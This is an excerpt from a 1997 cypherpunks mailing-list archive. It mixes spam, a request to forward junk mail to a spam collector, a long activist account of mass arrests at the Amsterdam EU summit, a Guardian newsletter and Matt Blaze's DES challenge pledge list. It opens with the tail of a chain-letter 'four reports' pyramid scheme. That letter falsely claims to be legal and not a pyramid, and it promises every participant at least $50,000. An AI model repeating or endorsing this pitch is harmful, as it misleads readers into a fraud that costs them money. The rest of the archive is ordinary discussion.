However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. WILL YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. PLEASE re-read this material, this is a special opportunity. If you have questions, please feel free to write to the sender of this information. You will get a prompt and informative reply.


My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, no product what-so-ever! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive.


You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four (4) FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduce at a local copy center for a cost of about 3 cents a copy. Best wishes with the program and GOOD LUCK!


<B>"IT WAS TRULY AMAZING"


</B>"Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could NOT get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before".


                                                      Mary Riceland, Lansing, MI


<B>TIPS FOR SUCCESS</B>


Send for your 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18, Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".


WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:


1.      Name your new company. You can use your own name if you desire.


2.      Get a post office box (preferred).


3.      Edit the names and addresses on the program. You MUST remember, your name
         and address go next to REPORT #1 and the others all move down one, with the
         fourth one being bumped OFF.


4.      Obtain as many addresses as possible to send until you receive the information
         on the mailing list companies in REPORT #3.


5.      Decide on the number of programs you intend to send out. The more you send out
         and the quicker you send them, the more money you will make.


6.      After mailing the programs, get ready to fill the orders.


7.      Copy the four 4 REPORTS so you are able to send them out as soon as you
         receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON
         ORDERS YOU RECEIVE!


8.      Make certain the letter and reports are neat and legible.


YOUR GUARANTEE!


The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a MUST!!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, IF YOU DON'T, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (TAKE A DEEP BREATH) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES  -  ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!!


<B>
REMEMBER:


"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING".


"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT THE REST OF YOUR LIFE".



GOOD LUCK!</B>






<FONT  COLOR="#000000" SIZE=3>
</PRE></HTML>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 19 Jun 1997 01:09:08 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Recycling your unwanted junk email
Message-ID: <3.0.2.32.19970619010448.00771b34@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Got any SPAM you're not using?  Want to find a good home for it?
A friend of mine passed along this request for spam,
which can be beneficially recycled...
			Bill
--------------
please forward your spam to junk@thehouse.org
(or subscribe junk@thehouse.org to spam lists)



------- Forwarded Message

Return-Path: dc-stuff
Message-Id: <3.0.32.19970618085725.008b69d0@mail.ctp.com>
X-Sender: ybenja@mail.ctp.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 18 Jun 1997 08:57:28 -0700
To: dc-stuff@merde.dis.org
From: Yobie Benjamin <ybenja@ctp.com>
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Status: O

A few of you have been kind enough to send some spam to
junk@thehouse.org.  Unfortunately, much of it has been significantly
altered, which makes it less useful.  If you send any junkmail, please
leave the headers and body as intact as possible.   

IMPORTANT!!!

That means you shouldn't make a new message and include the junk mail in
it, you
shouldn't send the junk as an attachment, you shouldn't send more than
one piece of junk in a single message, and you shouldn't quote the
message text by insterting characters at the beginning of each line. 
Most of these things aren't that hard to undo, but everyone does them
a bit differently and we'd rather not have to go through and fix them
all.

The best way to do it:

 sendmail junk@thehouse.org < onemessage

or

 formail -ds  sendmail junk@thehouse.org < manymessages


If you use Emacs and VM, the following code will bind J in the summary
window to do the Right Thing.

(defvar flan-junkmail-address "junk@thehouse.org"
  "The address to forward all junkmail to.")

(defun flan-junk-junkmail (prefix-arg)
  "Send all junkmail to 'flan-junkmail-address and delete it."
  (interactive "p")
  (if (interactive-p)
      (vm-follow-summary-cursor))
  (vm-delete-message 1)
  (vm-pipe-message-to-command (concat "/usr/lib/sendmail "
                                      flan-junkmail-address)
                              prefix-arg))

(define-key vm-mode-map "J" 'flan-junk-junkmail)

------- End of Forwarded Message







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ETN Head Office <etnho@euronet.nl>
Date: Thu, 19 Jun 1997 02:43:22 -0700 (PDT)
To: reqfrom@etn.nl
Subject: *** FREE Airfare Quotes from The World's Best Travel Agents
Message-ID: <3.0.16.19970619111833.33afcb9a@euronet.nl>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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To: group1@aol.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 17509422@ranier.net
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To: friendly@sailor.coms
Subject: FREE PC SOFTWARE: HOMEBASED OPPORTUNITY
Message-ID: <3492398495409GAA4532@nusselup.coms>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 21 Jun 1997 10:13:27 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: CNNFN transcript -- EPIC vs. Family Research Council on CDA
In-Reply-To: <199706211620.JAA05418@fat.doobie.com>
Message-ID: <Pine.GSO.3.95.970621130601.14633A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


First: If I were Rotenberg's press whore, I think I'd be fired quickly for
flaming him over wanting big government solutions, including new Federal
agencies, for privacy. 

Second: 20KB messages aren't unusual on cypherpunks. Don't like it, filter
it out, don't read it, unsubscribe. But don't whine about "spam." Get a
clue already.

Third: What I found interesting was Cathy's take on the upcoming CDA
ruling.

Fourth: I sense a bit of envy, Anonymous. What, "second-rate news shows"
like CNN-FN didn't call you for comment? 

-Declan


On Sat, 21 Jun 1997, Huge Cajones Remailer wrote:

> So when did you turn into Rotenberg's press whore?  This 20k transcript
> you just spammed me with is no different than a hundred other mediocre
> debates on second-rate news shows that we have all been subjected to since
> people started whining about the CDA. Boring.
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lvck1@hotmail.com
Date: Sat, 21 Jun 1997 16:50:33 -0700 (PDT)
To: lvck1@hotmail.com
Subject: adults only
Message-ID: <199702580025.gaa@livepeople.com>
MIME-Version: 1.0
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: abuse@demon.co.uk
Date: Thu, 21 Aug 1997 05:37:44 -0700 (PDT)
To: grandmother@uunet.ca
Subject: toner
Message-ID: <97Aug21.083529edt.123764-1175@mail2.uunet.ca>
MIME-Version: 1.0
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: putpeel@putpeel.com
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To: putpeel@putpeel.com
Subject: Announcement from Tim at P.E.E.L.
Message-ID: <0000000000.AAA000@putpeel.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
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To: shiftcontrol@nml.guardian.co.uk
Subject: Your surfing days are over
Message-ID: <199706231000.LAA01508@faust.guardian.co.uk>
MIME-Version: 1.0
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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To: kelly@gateway.24hrplaymates.com
Subject: Adults Only!
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Thu, 26 Jun 1997 03:56:28 -0700 (PDT)
To: tank@xs4all.nl (tank)
Subject: 'EU ROT OP': 607 ARRESTS FOR SOME BROKEN FLAG-POLES
Message-ID: <199706261102.NAA19266@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



We would like you to spread this information in your own
country among groups that are interested in what happened.

'EU ROT OP': 607 ARRESTS FOR SOME BROKEN FLAG-POLES

On June 16 and 17 Amsterdam was host for a European Summit that
should result in the Treaty of Amsterdam. This treaty can be
considered to be even a worsening compared to the Maastricht
Treaty, and therefor a threat to workers, unemployed, and
immigrants inside and outside the EU. Because of this, a very
big number of demonstrations was organised. The municipality of
Amsterdam wanted to use the opportunity to work on a new image.
We must admit the towm succeeded.

Before the summit the police and the mayor of Amsterdam every
time again stressed that Amsterdam should show itself as it is:
demonstrations and other actions would be tolerated as long as
they were held outside the security zones. Strange enough the
police seemed very worried about the announcement of the 'Days
of Chaos': in an internationally spread pamphlet it was announ-
ced that those days (that caused big riots in Hannover, BRD,
last year) should be celebrated in Amsterdam in the weekend
before the summit. Activists didn't take the announcement very
serious, but the police did. The police started an investigati-
on to the producers of the pamphlet and started visiting a
number of (squatted) houses to warn the occupiers not to give
shelter to visitors from outside the Netherlands. 
>From Friday 13th onward, we have been confronted with police
conducts that were unknown in the Netherlands so far. 
An overview on four days of police terror:


Friday 13.06

Although the summit will begin on the 16th of June, protests
against it are already heard. The alternative summit has
started on Thursday. The police in Den Haag is offering a
fortaste of things to come; participants in the Marches that
want to travel by train from Den Haag to Leiden are beaten up
at the station because they refuse to buy a ticket (in a
protest against growing poverty). One person breaks him arm,
some other are wounded as well.
This Friday the 'Days of Chaos' will start at 18.00. As all
expected nothing happens. Only some punks are lying in the sun,
drinking beer. They are being watched by a lot of policemen and
international press. When those leave, the about 200 punks
decide to do the same and start walking in the direction of the
Dutch Bank. On their way some flag-poles with summit flags and
one window of the French consulate are broken. Police and press
react immediately. An enormous amount of riot police and police
vans arrive and a lot of people are arrested very roughly. What
remains of the group is being chased over town. The police
later declares that 17 arrests were made; eyewitnesses say that
much more were arrested, probably fifty.


Saturday 14.06

50.000 people demonstrate against poverty, social exclusion and
unemployment. The police tries to control the peaceful demon-
stration: on the Central Station they seize a red/black flag
because 'it is forbidden to be Anarchist during the summit'.
The demonstration is so big that the whole centre of town is
filled with it. On it's way again flag-poles with summit-flags
are being broken. A group of some hundred demonstrators disag-
rees with the official route and make a half-hearted attempt to
go to the Dutch Bank. The police very easily can prevent this.
Just as the group is about to continu the official route, the
police tries to arrest someone. A small 'riot' is the conse-
quence. Some moments later the windows of a bank at the Leidse-
plein are smashed and one police van is pushed over. The police
decides that it has been enough: near the head quarters of
police they make a square attack on the demonstration, in which
they very roughly beat 300 people out of the demonstration. The
riot police seems especially interested in the heads of demon-
strators. People start throwing with everything they can lay
their hands on; also observers start attacking the police. It
looks as if the police wants to surround a part of the demon-
stration, but for a reason unknown to us they decide not to
complete their action. The demonstration therefor goes on to
the Dam square, breaking the remaining flag-poles on its way. 

When the demonstration arrives at the Dam square it turns out
that a group of 131 Italians is being held hostage at the
Central Station. They were part of a group of 3000 Italians
that wanted to join the demonstration. All of them have been
prohibited to leave the train. Directly after the demonstartion
about most Italians are allowed to leave the train. Almost 200
must stay in the train. They are being held at the station
because they are accused of damaging the train that brought
them to Amsterdam. After a few hours the group is being hand-
cuffed and transferred to a prison in Amsterdam. Near the
station people that protest against this are being beaten up by
the police. Later that night the Italians are put on the train
back to Italy. In this period they got no water or food. In
Germay the trains is stopped several times. It later shows that
the Dutch and German authorities are putting pressure on Italy
to arrest the group after arriving in Italy. The Italian
authorities refuse to do so. 
The reason for the special treatment of the Italians is not
clear. Officialy it is said that they damaged the train; on the
other hand there are statements by the prosecutor that the
police wanted to prevent that the Italians would join the
German and Dutch 'autonomous blocks' in the demonstration. The
funniest statement by the prosecutor: "If you saw what was
coming out of this train, than you know what could have happe-
ned". 

In a television interview later this evening the mayor tells to
be very pleased with the demonstration: 'unique in the history
of the EU', 'so may people from so many countries', 'a privili-
ge for Amsterdam'. On questions about the incidents during the
demonstration he answers that compared to the amount of demon-
strators nothing really happened; just some broken windows of a
bank and one police van pushed over is neglectable, especially
compared to what happens in other countries in demonstrations
like this. According to the mayor, Amsterdam has shown that it
can be host for opponents of the EU as well. Not a word on the
treatment of the Italians.

The people that joined the Marches, and who arrived from all
over Europe on Friday, were given a hospitable reception by the
municipality of Amsterdam. They can shake hands with the mayor
on Friday afternoon and get shelter in a school in Amsterdam-
west. After the demonstration on Saturday they are tired and
want to go to bed. An unpleasant surprise: the municipality has
decided that its hospitality will last till Saturday evening.
Under the device "your demonstration is over" the marchers are
thrown on the street in the middle of the night. A part of them
is angry about this treatment and refuses to leave the school.
The police beats them out. So far the proverbial Dutch hospita-
lity.


Sunday 15.06

Three demonstrations: a streetrave (Legalize!) against the EU
drug policy; the Ero summit for sexual diversity; a demonstra-
tion at the homo-monument for the rights of lesbians and gays. 
The route of the Legalize!-demonstration was planned in consul-
tation with the police. At the begin of the demonstration the
police orders another route. The organisers agree, the 2000
demonstrators don't. They dance their planned route, reminding
the police of the words of the mayor: demonstrations outside
the security zones will not be obstructed. Police provocations
during the streetrave are not answered. 
The Ero summit and the gay and lesbian demonstration are a big
success because of the omnipresent press.

In the morning there already is a high police activity near
Vrankrijk, one of the information points for demonstrators
against the EU. The streets are almost blocked by police and in
front of Vrankrijk the police is filming people with a special
video-van. People throw paint at the van to make the filming
impossible. 
In the evening it becomes clear why the police has been fil-
ming. People that leave Vrankrijk are arrested and charged on
the accusation of being 'member of a criminal organisation'
(section 140, Penal law). After 18.00h people who have visited
Vrankrijk are arrested all over the centre of town; some of
them by a police unit dressed in civil clothes, blindfolding
the people they arrested and transporting them in a black
Mercedes. 
At 21.00h a group of 350 people leaves Vrankrijk for a demon-
stration at the headquarters of police, to show their solidari-
ty with those arrested before. It will be the shortest demon-
stration of their lifes: after 20 meters they are surrounded by
riot police. The group sits down on the street to wait for what
will happen; the police 'cleans' the area around Vrankrijk.
Also the press is kept at a big distance. Press that can come
closer is obstructed when taking pictures of ill-treatment and
other violations by the police. All 350 people are arrested on
the charge of 'membership of a criminal organisation' (section
140). Also spectators that protest are arrested as members of
the same organisation. It is the biggest mass-arrest since
1966. 

After the transport of the arrested people the police raises
their cordons. New demonstrators and other people that are
curious about what happened fill the bar in Vrankrijk: the
birth of a second criminal organisation. Again the neighbour-
hood is fenced off by the police, and it becomes clear that
they are planning a raid on Vrankrijk to arrest all inside.
People that leave the bar are arrested, handcuffed and trab-
sported as member of a criminal organisation. 
The arrested people are transported to prisons all over the
Netherlands.

In the first comments on the police operation in which 382
people have been arrested, a lot of people show their disbelie-
ve on what happened. It is clear that the accusation of mem-
bership of a criminal organisation is only meant to keep people
from the streets for a few days, till after the summit. It also
becomes clear that the operation was planned long before the
summit. 


Monday 16.06

The actual start of the summit. In the centre of Amsterdam the
police control is absolute. Vans and riot police are everywhe-
re, raid vans are crossing through town and observation units
are working overtime. Everywhere people are arrested, arbitrary
and only because of their appearance. In 'de Pijp', an area far
away from all political activity, 7 people are arrested for
'violation of the prohibition of gathering'. 
In the afternoon there will be a demonstration against the
European migration policy. The organisors mean to go by bicycle
to the refugee prison in Amsterdam South East, and pass by the
Dutch Bank as near by as possible. On the Heineken square, were
the demonstration will start at 16.00h, there is a lot of
police ativity at 15.30 pm. Journalists are forced to leave the
square, people who are drinking beer on the pavement outside
bars are ordered to go inside. All bikes on the square have to
be removed. When people start gathering at 16.00h, there is
already a lot of police. However, it is still possible for
bikers to go into the direction of the Dutch Bank. 
When the head of the demonstration starts forming (directed
towards the bank) suddenly al lot of riot police is out of
their vans and prevents the demonstration to leave in the
direction it wanted to. Because the riot police is obviously
aiming at directing the demonstration of about 800 bikers awy
from the centre, the demonstration decides to cycle through the
narrow streets near the Heineken square. Because the police can
not easily follow the demonstration, the head of the demonstra-
tion can reach the bridge near the Dutch Bank. Panic within the
omnipresent police force: the head of the demonstration is only
150 meters away from the bank! The police decides to split the
demonstration. The back part of the demonstration can not join
the 500 people that are on the brifge. After shouting at the
bank and the policelines for 15 minutes the splitted groups
reunite again in another street. During the demonstration
itself nothing happens anymore, due to the route. The chosen
route made it almost impossible for the police to follow it
with vans. 
The demonstration at the prison is calm. In a creative way the
1200 demonstrators try to communicate with prisoners (by
shooting tennis balls on the inner court, digging a tunnel,
climb up the fences with ladders etc). However, the police
thinks it is too calm. Just before the planned end of the
demonstration the police radio announces the description of a
man they want to arrest. The man concerned is warned by others,
but he says that he has nothing to fear because he didn't do
anything wrong. When the demonstration is ended at 21.00h,
suddenly two arrest-units jump on the man and arrest him. A lot
of people run to the place where it happens, things are getting
out of hand, but just in time people realise that that was the
only purpose of the arrest. 

At 22.00h some hundreds of people gather at the Nieuwmarkt for
a demonstration. They want to walk to the hotels where the
ministers are staying, and cheer very loudly to thank them for
the splendid work they have been doing. It is clear that it
will be a demonstration with a very playful character. The
organisers begin the demonstration with offering a cake to
Chirac. After having delivered the cake at the entrance of the
hotel Chirac is staying, the group walks to the next hotel. The
jolly march is stopped by the riot police. The demonstration
walks back but is soon completely surrounded by police. After
30 minutes it becomes clear that there will be another mass-
arrest. Some people can escape using a boat that passes by. On
the other side of the water people are visibly disagreeing on
the second mass-arrest in two days. They also are about to be
surrounded. They can leave just in time, taking (again) some
flag-poles. Ten others are arrested on the other side of the
water while watching what is happening and transported together
with the others. 
In the meantime the demonstrators keep on cheering, but this
time for the police. They applaud for the riot police and civil
police. People start collecting money to contribute a little to
this money swallowing police operation. When the busses arrive
to take arrested people awy a lot of people show their tickets
in order to pay for the service. One journalist is also arre-
sted, her accreditation is seized. All 143 arrested people are
searched and handcuffed with plastic strips. Some of them are
told by the police that they have been arrested on .... section
140. They have to sit in the busses, that are not leaving for
one hour. When the busses start driving, they take a very
special route. After three hours (!) the busses arrive at the
prison: a route that can be done in 15 minutes. 
After having spend several hours on the cold floor, the people
who told their name are released. They get a fine of 125
guilders. The arrested people that refused to give their names
are released after 6 hours. 
After their release they cab read in the newspapers that they
were involved in riots and that they tried to enter a security
zone. The police says that they made this clear by warning the
demonstration and charging at it. None of those arrested nor
journalist have heard the warnings nor have they seen a police
charge. The spokesman of the police later says that the demon-
strators violated the restriction in zone 3. When a reporter
asks him how one can know that he or she is entering zone 3,
because there are no signs indicating this, the spokesman says
that zone 3 can easily be recognized because of the amount of
policemen one can see.

One of the arrested demonstrators is immediately arrested after
his release, because he unpacks his belongings from his search-
packet. The police officer involved feels provocated by that.
He decides to let the man go, but not after fining him with 40
guilders for disturbing public order.





Tuesday 17.06
Trial against the State in order to have the 343 arrested
people from Sundaynight released. 
The judge decides to realease three of the four persons that
are proceeding because there is no proof for their individual
contribution to the 'criminal organisation' Vrankrijk. The
judge declares that the verdict also applies for others in the
same position. The Ministry of Justice and the public prosecu-
tor have their own interpretation: in the verdict they read
that they don't have to release the others because the judge
said that mebership should be proved individually. With this
argumentation the arrested people are kept in detention till
after the summit. 
In the morning the authorities start deporting the foreigners
amongst the ones arrested. Some of them are delivered to the
national police (in Germany, Belgium), to avoid long lasting
extradiction procedures. Many of them have been deported
without getting back their personal belongings that were seized
when they were arrested. Passports and money were missing. Some
of those persons have again been arrested for not having
identity papers. It lasted untill Thursday before it was clear
that there were a lot of passports and other things at the
headquarters of police. Untill now the police refuses to hand
over the passports to the lawyers; the police says that people
can come and get them theirselves. 

In the afternoon there is a planned 'autonomous' demonstration
against a capitalist unified Europe, from the Dam square to the
theatre Carr,, where the Dutch prime-minister will have a press
conference to announce the results of the summit. 
The authorities decide to take a firm stand. The demonstration,
scheduled for two o'clock, is prohibited one hour before. Wit-
hout success: 2000 people gather at the Dam square, not only to
protest against the unification of Europe, but also against the
police brutalities during the summit. 
The demonstration is guarded by an overwhelming amount of
police. Uniformed ('normal') police is aware that the demon-
stration has a peaceful character and tries to keep away the
riot police, but they fail. At several points the riot police
has blocked the streets. When the demonstration wants to enter
a 19th century neighbourhood, far from the security zones, it
is stopped by the riot police. The uniformed police tries to
negociate with the riot police, because the prohibition of a
demonstartion so far away from the security zones is ridicu-
lous. Without result. The demonstration decides to return to
the Dam square where the flower-bed, that was created for the
official guests of the summit and that forms the european flag,
is complety destroyed by demonstrators.  

At night there are two smaller actions. 
At midnight there is a second 'cheer'demonstration. About 100
people go to the house of the mayor to thank him for the
creative way he showed his hospitality, by giving shelter to
hundreds of opponents to the EU. Policemen on horses try to run
over people, around the corner a police force is waiting that
outnumbers the demonstration. After one hour the demonstrators
go to bed.

Later that night, at around 4.30, the official press conference
starts in the heavily guarded theatre Carr,. Ten journalists
show their discontent with this Europe by unfolding banners and
shouting against the exclusion of environmental issues and
human rights in the Amsterdam treaty. Because they do this one
after another, it takes 15 minutes before the journalists are
arrested and taken away. The arrests are very rough. Funny is
the conversation during the action between prime minister Kok
abd minister of Foreign Affais van Mierlo. Kok (annoyed and
cynical): "Well, this has been very well organised again in
here". Van Mierlo (serious): "They could have been armed with
handgranates". Of course. Journalists have a reputation for
that. 



Balance

According to police figures, 609 arrests have been made. This
number does not include the arrested and deported Italians on
Saturday. It also does not include those arrests that were not
registered. 
None of the ones arrested got a summons. The only ones who got
a fine are people that were arrested during the 'cheer'demon-
stration on Monday. The public prosecutor says he is still
considering individual charges. The lawyers are convinced that
no-one will be prosecuted. 
The international press is very surprised on the extreme safety
measures. Foreign journalists are angry with the fact that they
were kept away from the ministers and from the inhabitants of
Amsterdam. It is clear that this has been the most extreme
guarded summit in the history of the EC/EU. Even delegates of
officials have been complaining abouit the safety measures.

The use of section 140 in this way is without precedent in the
Netherlands and, as it seems, without precedent within the EU.
Maybe it is a fortaste of what groups of people can expect when
Europol advices in the future what to do with events that can
be a threat to public order (concerts, demonstrations, sport
events). It was used before against political groups, but
always after things happened and with a more specific definiti-
on of proof and charges. Nevertheless it has of course been
used against left groups that could not be prosecuted in other
ways. In over 90% of the cases in which it has been used it
never came to any conviction, and people were only prosecuted
under section 140 because it allows the police to use much more
criminal investigation techniques than in prosecutions under
other sections.
This has been the first time that is has been used to prevent
possible disturbing of public order and security. It has become
clear that this has been organised very well by police, Justice
and Home Affairs. The facts that there were no massive riots,
no violent demonstrations and that in fact nothing happened
that could possibly justify the move of Justice, confirm the
general idea that the arrests on Sunday night were planned
before the summit. Also the use of section 140 as legal ground
for the arrest must have been discussed within the justice
department. It is therefor not only a means to prevent people
from exercising their basic rights on demonstrations, but also
a means to extend the use of section 140 to groups within
society that the state is not very pleased with. The government
has been discussing the use of section 140 on groups of foot-
ball supporters before.

The council of Amsterdam has discussed what happened during the
summit, on Tuesday 24th of June. Only Green Left clearly
disapproves of the actions by the police. Most other parties
agree, because (as the chairman of the 'social democrats' said)
'it is better to have an investigation to why to police arre-
sted innocent people than to have an investigation to the
question why half the city was burned'. Also the mayor said
that it is good to arrest people that have done nothing wrong
if in this way one can prevent riots. The public prosecutor
stated that all arrests were legal because it was clear that
'we were not dealing with school children on their way to a
silent procession'. 
The Dutch parliament will discuss the police action on Thursday
26. We don't expect anything to come out. One member of the
social democrate party was very critical in an article in their
own weekly paper, but later said he was misquoted. 


'Black'book.

The Autonoom Centrum, the Arrestment Group and Buro Jansen &
Janssen decided to publish a 'black'book on what happened. It
will be published at the end of June, and will be used to
demand an independent investigation into what happened. Untill
now 150 complaints have been registered. From the complaints
the following shoes in general:

- a lot of arrested demonstrants have been beaten after being
handcuffed;
- people were not told why they were arrested;
- most people (and all foreigners) have been denied access to a
lawyer. They should have had one after 6 hours; some only saw
their lawyer when the decision to release them had already been
made;
- female prisoners have all been sexually intimidated or
molested; 
- people did not get water and food for almost 24 hours;
- people were detained in tents on the court yards of prison
and not given blankets in the first night;
- a big group had to wait for six hours in the busses before
they could enter the prison, in this period they were handcuf-
fed;
- most foreigners have been deported without giving them back
their personal belongings and documents;
- people who take physics were refused their medicine.


Meanwhile, the lawyers are preparing new proceedings to get
compensation for their clients. They expect that people will
get about 400 or 500 guilders for every day they were impriso-
ned, because their arrest was illegal. This could cost the
ministry about 200.000 guilders. Peanuts, compared to the 70
million it needed to organise the summit in Amsterdam. 

The total repressive way the Dutch government decided to treat
all demonstrations lead to the remark on national television by
a professor Penal Law at the University of Amsterdam that,
overviewing all that happened, he could only see one criminal
organisation. It is formed by the mayor, the public prosecutor
and the head of police, who have structuraly been working for
some months on organising the deliberate and illegal arrest of
demonstrators and passers-by who didn't do anything. 

Actions outside the Netherlands

Also in other EU-countries people reacted on the police vio-
lence in Amsterdam. In Copenhagen 17 people were arrested who,
according to thepolice, planned to attack theDutch consulate.
Dutch consulates were attacked in Stockholm,London, Brighton,
Milan, Gent and Rome. In Hamburg and Vienna the consulate was
occupied for some time.

In Denmark the issue has been raised in parliament by the-
Red-Green Alliance. They complain about the treatment of 29
Danes that were arrested in Amsterdam 12 of them were send back
by military plane, escorted by a Dutch fighterbomber the first
part of the way. Nodoubt just for training, but what a scene.
Also a lot of Danes were deported without their belongings.
They can not pick them up themselves because the police told
them they will not be allowed to enter the Netherlands for some
time. The Danish consul in Amsterdam was furious because she
was not allowed to visit the arrested Danes.  The Red Green
Alliance wants to know from the government if danish authori-
ties gave information to Europol, Interpol or dutch authori-
ties, what exactly the role of Europol has been in this case,
and what will happen to the fingerprints and photgraphs that
have been made. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Thu, 3 Jul 1997 20:11:43 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Fancy a drink?
Message-ID: <199706271610.RAA24455@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


This week, in the Pub Issue of Shift Control...

"Some pretty scary things are happening to British pubs - 
apparently in the name of pleasing women. Rat and Parrot, 
Slug and Lettuce, All Bar One, Wetherspoons - they all 
signify the general white collarisation of the pub with 
blonde wood and windows where the cheap repro mahogany 
and frosted glass should be." 
- Kate Spicer wonders what's wrong with the good ol' local.

"Some London pub crawls have their origins in history (the 
Jack the Ripper pub crawl) or literature (the Sherlock 
Holmes pub crawl), while others are just a desperate attempt 
to justify a booze-up (the Monopoly board pub crawl). But 
the greatest of all is the Circle Line pub crawl. It has no 
discernible beginning and no discernible end. All that's 
certain is that the Circle Line has 27 stations, and 
somewhere near the exit of each of these is a pub." 
- Paul Robinson takes on the ultimate pub challenge.

"Nowadays even boozing and chatting have gone hi-tech. And 
while electric toothbrushes caught on and talking cars are 
here to stay, is there really any justification for the 
virtual pub?" 
- Rebecca Fox asks if online boozers have really lost the 
pub spirit.

Plus the Shift Control quiz: How wild are you... about pubs?

Shift Control: serving a full measure of delights, NOW, at 
http://www.shiftcontrol.com

___________________________________________________________

Shift Control is produced by the Guardian's New Media Lab 
with help from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list, send e-mail to 
shiftcontrol-request@nml.guardian.co.uk with the following 
text in the body of the mail message: unsubscribe






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matt Blaze <mab@crypto.com>
Date: Fri, 27 Jun 1997 15:02:01 -0700 (PDT)
Subject: Better DES challenge update
Message-ID: <199706272201.SAA25446@crypto.com>
MIME-Version: 1.0
Content-Type: text/plain


------- Blind-Carbon-Copy

To: challenge@crypto.com
Subject: Better DES challenge update
Date: Fri, 27 Jun 1997 18:01:53 -0400
From: Matt Blaze <mab@tpc.crypto.com>

The prize for solving the ``better DES challenge'' has grown to almost
$500 and continues to rise daily.  Here's the list of prize pledges I have
as of June 27; the current pot stands at 3984 bits (US $498.00).  I hope
to have a web page up sometime next week (on www.crypto.com) with the
latest challenge status.  (This will be the last update via email, unless
someone solves the challenge or pledges some huge prize or some such).

DATE	Name			Email				Bits Pledged
============================================================================
6/22/97	Matt Blaze		mab@crypto.com			56 bits
6/23	AT&T Labs (via mab)	mab@research.att.com		56
6/24	Steve Gibbons		steve@wyrm.AZTech.Net		56
6/24	Bill Stewart		stewarts@ix.netcom.com		112
6/24	Peter Trei		trei@process.com		288
6/24	Jim Thompson		jim@hosaka.SmallWorks.COM	512
6/25	Adam Shostack		adam@homeport.org		512
6/25	Eric Blossom		eb@comsec.com			1024
6/26	Jamie Lawrence		jal@acm.org			56
6/26	Bill Frantz 		frantz@netcom.com		512
6/27	Jon Leonard		jleonard@divcom.umop-ap.com	800
								=========
GRAND TOTAL (Bits)						3984
GRAND TOTAL (USD)						$498.00

Tell your friends!  Note that the pot seems to be growing roughly
exponentially.  If this keeps up, I may join the search myself...

[Unfortunately, due to singularly inexcusable incompetence on the part
of my soon-to-be-former ISP (PSINet), mail to me was bouncing last week
so I may have missed some of the ``Better DES Challenge'' pledge mail.
If you pledged a prize and aren't on the list above, please resend.]

Official rules attached below for reference.

- -matt

N.B.  The ``bit'' is an archaic unit of currency equal to 1/8 of a US
dollar (hence, ``pieces of eight,'' ``two bits,'', etc.).  It seems an
appropriate measure for prizes in key-cracking contests.

============================

From: Matt Blaze <mab@research.att.com>
